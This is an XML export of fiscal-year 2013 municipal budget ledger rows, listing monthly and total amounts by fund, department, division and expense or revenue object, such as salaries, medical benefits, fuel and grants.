<row _id="3239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8614.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8614.0</total></row>
<row _id="3240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>336.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>336.0</total></row>
<row _id="3241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="3242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="3243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30500.0</total></row>
<row _id="3244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533216.0</object><object_description>BLDG/CUSTODIAL SUPPLIES - LIB</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="3245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35083.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35083.0</total></row>
<row _id="3246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9136.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9136.0</total></row>
<row _id="3247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="3248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533223.0</object><object_description>BLDG/STR MAINT-ACCESS CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>59000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59000.0</total></row>
<row _id="3250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5434.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>54</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5488.0</total></row>
<row _id="3251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6914.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="3252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2350.0</total></row>
<row _id="3253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1049798.0</july><august>0</august><september>0.0</september><october>-11340.0</october><november>0</november><december>0</december><january>0.0</january><february>10385</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1048843.0</total></row>
<row _id="3254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>274396.0</july><august>0</august><september>0.0</september><october>-16122.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>258274.0</total></row>
<row _id="3255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-12220.0</july><august>0</august><september>0.0</september><october>1306.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10914.0</total></row>
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<row _id="3258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5265.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>53</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5318.0</total></row>
<row _id="3259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3429.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3429.0</total></row>
<row _id="3260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-180545.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-180545.0</total></row>
<row _id="3261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-24873.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-502</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25375.0</total></row>
<row _id="3262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>480430.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18300</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>498730.0</total></row>
<row _id="3263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>491</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13581.0</total></row>
<row _id="3264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1200.0</total></row>
<row _id="3265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>525897.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-525897</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3779.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-561</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3218.0</total></row>
<row _id="3267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>46354.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-9483</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36871.0</total></row>
<row _id="3268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544018.0</object><object_description>MARTIN CHARIT TRUST-PALISADES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40286.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40286.0</total></row>
<row _id="3270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>569300.0</object><object_description>BIKE VALET-PROP C LOCAL RETURN</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="3271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409160.0</object><object_description>AGENDA PACKET SUBSCRIPTION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404771.0</object><object_description>BIKE TRANSIT CTR CONCESSION AG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-55000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-55000.0</total></row>
<row _id="3273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409170.0</object><object_description>ACTIVITY PASSPORT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-9375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9375.0</total></row>
<row _id="3274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409180.0</object><object_description>COMMERCIAL INSTRUCTION USE CHA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-63000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-63000.0</total></row>
<row _id="3275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408530.0</object><object_description>MEMORIAL PARK SUST COMM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-475000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-75000.0</march><april>0</april><may>0</may><june>0.0</june><total>-550000.0</total></row>
<row _id="3276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="3278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26500.0</total></row>
<row _id="3279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>37395.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37395.0</total></row>
<row _id="3280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6214.0</total></row>
<row _id="3281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2267.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2267.0</total></row>
<row _id="3282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-78223.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-78223.0</total></row>
<row _id="3283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20559.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>206</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20765.0</total></row>
<row _id="3284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2800.0</total></row>
<row _id="3285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2971.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3001.0</total></row>
<row _id="3286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>46301.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46301.0</total></row>
<row _id="3287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>128462.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>128462.0</total></row>
